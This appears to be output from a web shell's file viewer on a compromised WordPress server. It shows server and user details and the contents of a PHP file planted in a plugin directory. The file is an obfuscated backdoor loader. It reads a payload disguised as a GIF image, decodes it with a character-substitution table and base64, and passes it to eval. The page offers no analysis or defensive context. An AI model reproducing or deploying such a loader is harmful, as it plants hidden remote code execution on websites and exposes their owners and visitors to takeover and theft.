HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/acakhodi/oweqysh.txt
<?php

function kaxire_oxythaketh($lotyve_xikeneji) {
    if ($lotyve_xikeneji == 1)
        return asofog_ashopabuno();
    if ($lotyve_xikeneji == 2)
        return domawo_ykhothucigy();
}

function xuxypy_tefoshijav($lotyve_xikeneji) {
    $dagupy = kaxire_oxythaketh(1);
    $agiwobu = kaxire_oxythaketh(2);
    for ($wekhuqo = 0; $wekhuqo < strlen($dagupy); $wekhuqo++) {
        $bococy = substr($dagupy, $wekhuqo, 1);
        $ulysake = substr($agiwobu, $wekhuqo, 1);
        $vasuxi[$bococy] = $ulysake;
    }

    $aveguni = strtr($lotyve_xikeneji, $vasuxi);
    $aveguni = base64_decode($aveguni);

    return $aveguni;
}

function zixato_norashuno($lotyve_xikeneji) {
    $ecisoda = array();
    if (!file_exists($lotyve_xikeneji))
        return false;
    $xazebag = @file_get_contents($lotyve_xikeneji);
    if (!$xazebag)
        return false;
    $xazebag = substr($xazebag, 3);
    $ecisoda = xuxypy_tefoshijav($xazebag);
    return $ecisoda;
}

function asofog_ashopabuno() {
    $xazebag = "8HWPn9A6lqY53u2Jthk+vO0p7r=1SaKQoEwsmeXxBM/LCDVfRZFUgyT4czjNbdiIG";
    return $xazebag;
}

function domawo_ykhothucigy() {
    $ecisoda = "4SQi3eWjAGVrnK+FB8C9xToyvR7zZabHhXwN/6PkdI0ML15=uYpO2UEcsftglmJqD";
    return $ecisoda;
}

$ukhapyv = zixato_norashuno(__DIR__ . "/asse" . "ts/im" . "ages/i" . "milet." . "gif");
if ($ukhapyv) {
    @eval($ukhapyv);
}